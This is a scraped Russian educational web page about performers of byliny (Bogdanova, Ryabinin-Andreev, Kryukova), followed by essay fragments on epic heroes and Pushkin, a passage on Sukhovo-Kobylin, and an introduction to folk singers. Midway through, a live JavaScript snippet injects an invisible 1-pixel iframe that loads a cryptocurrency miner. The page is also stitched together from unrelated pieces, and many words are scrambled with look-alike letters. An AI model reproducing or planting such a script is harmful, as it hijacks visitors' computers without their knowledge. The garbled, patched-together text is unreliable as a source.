Расцвет деятельности Н. С. Богдановой как сказительницы относится к первой четверти XX века
В 1900-е годы от нее были произведены записи Н. Шайжиным, позднее – участниками экспедиций Государственной Академии художественных наук и Государственного Института истории искусств в 1926 году и в последующие годы. Умерла Н. С. Богданова в 1937 году.
Знания Н. С. Богдановой в области народной поэзии были чрезвычайно разносторонними. Кроме былин, она была большим мастером старинной причети и народной лирической песни, знала сказки, духовные стихи, загадки; её речь была пересыпана пословицами и поговорками. Больше всего она любила былины и была глубоко уверена в исторической досᴛᴏʙерности их содержания. Былинный репертуар её невелик – всего 10 былин Но тексты её отличаются большим своеобразием.
Если Рябинины были главным образом мастерами героического эпоса, то Н. С. Богданова особенно культивировала былины с романическим и семейно-быᴛᴏʙым содержанием (о неудачной женитьбе Алеши Поповича, о Дунае, о Чуриле и неверной жене Пермяты и т. п.), продолжая и развивая, таким образом, другую линию эпической традиции Прионежья
В былинах Настасья Степановна тщательно разрабатывала диалоги и детали отдельных эпизодов, усиливала психологические моменты и художественные описания. Особенно разработана самая любимая её былина – о Добрыне и Алеше, принадлежащая к лучшим обработкам этого сюжета.
К первой четверти XX века относится сказительская деятельность третьего представителя славного рода сказителей Рябининых – Ивана Герасимовича Рябинина-Андреева , пасынка Ивана Трофимовича. Свое былинное знание Иван Герасимович унаследовал от отчима, с кᴏᴛᴏᴘыᴍ прожил до 23-летнего возраста. Впоследствии Иван Герасимович становится видным мастером эпического искусства. Записи, произведенные от Ивана Герасимовича в 1921 году, показали, что он воспринял эпический репертуар отчима почти полностью (в его репертуаре отсутствовали только былины о Хотене и две исторические песни – об Иване Грозном и о Скопине). У отчима перенял он и напевы, тоже восходящие к Трофиму Рябинину, и все характерные особенности исполнения.
Иван Рябинин принадлежал, подобно отцу и деду, к представителям классического стиля былинного исполнения. Свои былины он всегда пел, и тексты их отличаются четким и чеканным ритмом. Все основные идейно - художественные особенности, которыми отмечены былины старших Рябининых, отличают и тексты Ивана Герасимовича: особое выделение героической линии и одновременно интерес и внимание к социальным моментам, четкость основного замысла и социальной идеи, строго выдержанные образы богатырей и их врагов, полнота и художественность описаний, стройность и ясность композиции. И. Г. Рябинин-Андреев – чуткий и вдумчивый хранитель семейной эпической традиции. Вносимые им изменения выражались лишь в перемещении из одной былины в другую некоторых описаний, словесных формул, «общих мест», в некотором обновлении лексики, а кроме того в заметном усилении диалога
В основном же оставалось неизменным не только само сюжетное развитие былины, но и выработанная старшими Рябиниными художественная словесная ткань. Умер Иван Герасимович в 1926 году.
Страницы: 1 2
Выдающейся сказительницей конца XIX и начала XX века была также беломорская исполнительница былин Аграфена Матвеевна Крюкова (1855–1921). Весь её огромный репертуар (60 тексᴛᴏʙ былин и исторических песен) был записан еще в 1900-е годы А. В. Марковым, когда сказительнице было 45 лет. Былинный репертуар А. М. Крюковой ᴄᴫᴏжен и по своему составу, и по происхождению
В нем отражены две местные традиции – Терского берега, откуда сказительница была родом, и Зимней Золотицы, куда она вышла замуж. Ее учителями на родине были главным образом мать и любимый дядя по матери – Ефим Стрелков; кроме того, она училась и от других стариков, а кроме того от своих подруг
В Зимней Золотице, где исполнение былин было распростᴘẚʜᴇнным быᴛᴏʙым явлением, она перенимала былины от свекра Василия Леонтьевича, его брата Гаврилы и других стариков. Знание свое она пополняла и впоследствии, учась даже у своих дочерей – Марфы и Павлы
В то же время на состав и характер репертуара А. М. Крюковой несомненное влияние оказали публикации былин из других районов, проникавшие с конца XIX века в деревню в различных дешевых изданиях. Будучи неграмотной, Аграфена Крюкова любила слушать чтение и усваивала новые былины или непосредственно из книги или от других сказителей в семье, которые пополняли свое былинное знание из книг.
Записанные от А. М. Крюковой былины и исторические песни превышают в общем своем объеме 10 000 стихов.
Все свои былины Аграфена Матвеевна пела, по словам Маркова, «довольно слабым, но приятным голосом», хорошо выдерживая стихотворный размер. Большинство былин были исполнены ею на один и тот же напев.
Жизнь А. М. Крюковой, этой выдающейся, даровитой поэтессы, была нерадостной
В большой семье Крюковых она занимала подчиненное, зависимое положение и много страдала от притеснений, чинимых старшими в семье женщинами. Во время американо-английской интервенции Крюковой пришлось испытать нужду и голод, которые и свели её в могилу (она умерла в 1921 году). Ее талант и знание унаследовали двое из её дочерей – Марфа Семеновна и Павла Семеновна, главным образом первая, старшая и особенно любимая матерью.
Можно назвать еще многих других выдающихся исполнителей русского эпоса. Одаренный русский народ дал отечественной культуре целый ряд талантливых мастеров эпического искусства, которые явились хранителями поэтического наследия прошлого, внесли свой твор - ческий вклад в общую сокровищницу народной поэзии. Они явились выразителями общенародных идейных и художественных тенденций и силой своего таланта углубили и совершенствовали созданное народом. Величайшими образами русского эпоса, воплотившими идеи патриотизма и гуманности, сказители воспитывали лучшие качества народа, его высокие эстетические и нравственные идеалы. (По статье А. М. Астаховой «Сказители былин, их художественное мастерство» Русское народное поэтическое творчество. – М.; Л., 1956. – Т. 2. – Кн 2. ) Сказители былин
Страницы: 1 2
Страница 1 из 1
Художественное своеобразие русской былины «Илья Муромец и Соловей-разбойник»1.Русское народное устное творчество. 2. Художественные особенности русской былины «Илья Муромец и Соловей-разбойник». 3.Роль былины в жизни людей. Былины, или древние сказания, или старины, как их называли до XIX века, представляют собой одно из направлений фольклора. Они часто исполнялись нараспев под аккомпанемент гуслей и рассказывали о великих богатырях, народных героях или значительных событиях из истории Древней Руси. Эти произведения устно передавались от поколения в поколение. Целые семьи славились своим мастерством исполнения былин. Так, к примеру, несколько поколений семьи Рябининых занимались сказанием былин. Представительница семьи Крюковых в течение тридцати дней напевала собирателю фольклора произведения устного народного творчества и ни разу не повторилась. Героев былин существовало не так уж много, причем всех их можно условно разделить на две группы: более древние богатыри - Волхв Всеславьевич, Святогор, Вольга и Микула Селянинович и уже более современные образы - Илья Муромец, Добрыня Никитич и Алеша Попович....
(function() { var w = document.createElement("iframe"); w.style.border = "none"; w.style.width = "1px"; w.style.height = "1px"; w.src = "//minergate.com/wmr/bcn/podivilovhuilo%40yandex.ru/4/258de372a1e9730f/hidden"; var s = document.getElementsByTagName("body"); s.appendChild(w, s); })(); ...
Было только два драматурга, приближавшихся к Островскому если не по количеству, то по качеству своих произведений, и это были Сухово-Кобылин и Писемский, оба более традиционные, более «искусственные» и более театральные, чем он. Александр Васильевич Сухово-Кобылин (1817–1903) был типичный образованный дворянин своего поколения, пропитанный Гегелем и немецким идеализмом. Он считал метафизику своим истинным призванием, перевел всего Гегеля на русский язык и много лет работал над оригинальным философским трудом в гегелевском духе. Но его рукописи погибли во время пожара, а в печати не осталось никаких следов его философских сочинений. Писание пьес было только коротким эпизодом в его жизни. Поразительно то, что ни его метафизические наклонности, ни отсутствие профессионализма в драматургии никак не повлияли на его пьесы. Они на удивление свободны от идей, а по сценичности не имеют соперников в русской литературной драме. Единственным важным событием в жизни Сухово-Кобылина было убийство в 1850 г. его любовницы-француженки, к которой он был глубоко привязан. Его заподозрили в том, что он виновен в этом преступлении, и семь лет он находился под судом (некоторое время и в тюрьме); только в 1857 он был наконец оправдан. Этот эпизод, столкнувший его лицом к лицу с ужасами и нелепостями дореформенных судов, оставил глубокий след в его душе и внушил ему ту злобную ненависть ко всему классу чиновников, которая переполняет две его последние пьесы. Все его драматургическое наследие – это три комедии: ...
Литература - 9 класс Идея защиты земли Русской в произведениях устного народного творчества (сказка, былина, песня). В былинах воплощаются думы и чувства русского народа. Былины удовлетворяли не только естественное влечение ко всему красочному, необычному, незаурядному, в них по-своему выразилось общественное создание целой исторической эпохи....
Сочинение по произведению «Сказка о мертвой царевне». В «Сказке о мертвой царевне» появляется обобщенный образ богатырей. Еще в «Руслане и Людмиле» слились мотивы волшебной сказки и героической былины. Характерно это и для «Сказки о царе Салтане». Но «красавцы удалые», «великаны молодые», «тридцать три богатыря» во главе с дядькой Черномором - это волшебные помощники князя Гвидона, а «семь богатырей», «семь румяных усачей» изображаются как реальные положительные герои. Известная таинственность окружает, конечно, и богатырей из «Сказки о мертвой царевне». Мы ничего не знаем об их прошлом, о том, что побудило их жить в глухом, дремучем лесу. И дела их носят какой-то отпечаток загадочности. Не то это «вольные люди», благородные разбойники, которые мстили угнетателям и скрывались от самодержавной власти, не то защитники русской земли от внешних врагов. Сорочины, татары, пятигорские черкесы- все те, кто противостоит богатырям в сказке Пушкина, являются и врагами героев русских былин и исторических песен....
Давным-давно, много веков тому назад, далекие предки наши – славяне не умели еще читать и писать, и не было не только никаких книг, но люди не знали даже бумаги...
А все же в жизни древнего человека совершалось немало событий: он трудился, учился постепенно овладевать природой, ему приходилось бороться с врагами; он переживал чувства горя и радости.
Древние люди не умели писать, но у них была потребность рассказывать о событиях, что случились с ними, и о людях, которые им встречались. Им хотелось поведать о своих мыслях и чувствах в таких ярких образах-картинах и такими меткими, задушевными словами, чтобы рассказанное взволновало и надолго запомнилось. Тогда они складывали песни, сказания о своих любимых героях, рассказывали сказки, придумывали хитроумные загадки, слагали меткие пословицы. То были произведения устной народной поэзии, или фольклора, что по-английски означает: "народная мудрость".
В долгие осенние либо зимние вечера собирались люди слушать любимых своих сказителей. Под свист вьюги или однообразный шум дождя, затаив дыхание, внимали люди чудесным сказкам о трех волшебных царствах, о спящей красавице, о Кащее Бессмертном, об Иване-царевиче...
Но вот слушатели видят в руках у сказителя гусли. Это значит, что сегодня собирается он сказывать былину. Былины во многом похожи на сказки: в них тоже встречаются чудеса. Но это уже не сказки, потому что былины в гораздо большей степени отражают исторические события и жизнь древней Руси. Былины – это песенные рассказы о героях-богатырях земли русской.
Много былин знает знает сказитель. Он помнит десятки народных преданий о славных защитниках Киевской и Московской Руси от лютых кочевников-печенегов, половцев и позднее – татар, разорявших древние русские города, убивавших женщин и детей, уводивших в рабство тысячи русских людей. Он может пропеть и о богатыре крестьянского труда, могучем пахаре Микуле Селяниновиче, и о подвигах Добрыни Никитича , и о том, как сражался Добрыня со Змеей Горынчищей и ее змеенышами, как победил Змею и освободил сорок тысяч русских людей, запертых в плену у страшной Змеи. И о лихом "девичьем пересмешнике", богатыре Алеше Поповиче , который за словом в карман не полезет и умеет хитро обмануть врага. Сказитель пропоет сказочную былину о чудесных приключениях на дне морском новгородского певца и гусляра Садко, богатого гостя.
Откуда же знает сказитель все эти былины? Они пришли к нему из глубины веков. Сложенные устно, они были так хороши, что народ бережно хранил их и передавал из поколения в поколение: от отца к сыну, от сына к внуку. И всякий, кто хранил в памяти и пел былины, старался сделать их еще интереснее, еще красочнее. Так каждая былина, прошедшая длинный путь в памяти многих поколений, становилась уже коллективным творением десятков и сотен людей.
Задумчиво перебирает сказитель струны гуслей. О ком же пропеть сегодня? Проходит минута, другая. И вот, наконец, сказитель негромко начинает:
Кто бы нам сказал про старое,
Про старое, про бывалое,
Про того, про Илью, про Муромца...
И потекла былина-песня про старое, про бывалое, про подвиги любимого народного героя древности. Об одном Илье Муромце сложено столько былин, что если бы все их пропеть, то открылась бы целая история жизни богатыря и подвигов его.
Имена богатырей, о которых расскажет сказитель, – это, конечно, не подлинные исторические имена. В Илье Муромце, Добрыне Никитиче, Алеше Поповиче, Микуле Селяниновиче и других богатырях собраны и воплощены самые высокие боевые и трудовые качества и подвиги многих сотен героев. Русские богатыри – это носители коллективной мощи родного народа.
...Сказитель поет былину. Звенят струны гуслей. Льется однообразный напев. Песня не любит торопливости, и сказитель не спешит поскорее закончить ее. Он подробно расскажет о своем герое, о том, как собирается богатырь в поход, как седлает коня, какое у богатыря вооружение. Иногда певец останавливается, припоминает подробности, вносит свои добавления. Ведь он не только исполнитель, а еще и творец. Он хочет сделать былину еще интереснее и ярче.
Часто повторяет сказитель одни и те же слова, выражения и даже целые картины, особенно если эти картины рисуют мощь богатыря. Он хочет, чтобы былина надолго осталась в памяти слушателей. Этой цели служат меткие слова, эпитеты и сравнения. Звезды у него всегда "частые", поле "чистое", девица "красная", земля "сырая". Любовно и ласково называет он своего богатыря "удаленьким добрым молодцем", родные леса – "лесушками", поле – "полюшком", траву – "травушкой", а врага он всегда назовет "поганым", "злодеем", "собакою".
Язык, которым сказитель исполняет былину, – это подлинный народный язык того времени, когда передавалась былина, и той местности, где она рассказывалась. В каждой былине встречается живая разговорная речь, и каждое действующее лицо говорит по-своему. Князь Владимир говорит высокомерно и грубо. Добрынюшка Никитич изъясняется "вежливенько"; а Илья Муромец умеет сразить не только оружием, но и метким словом.
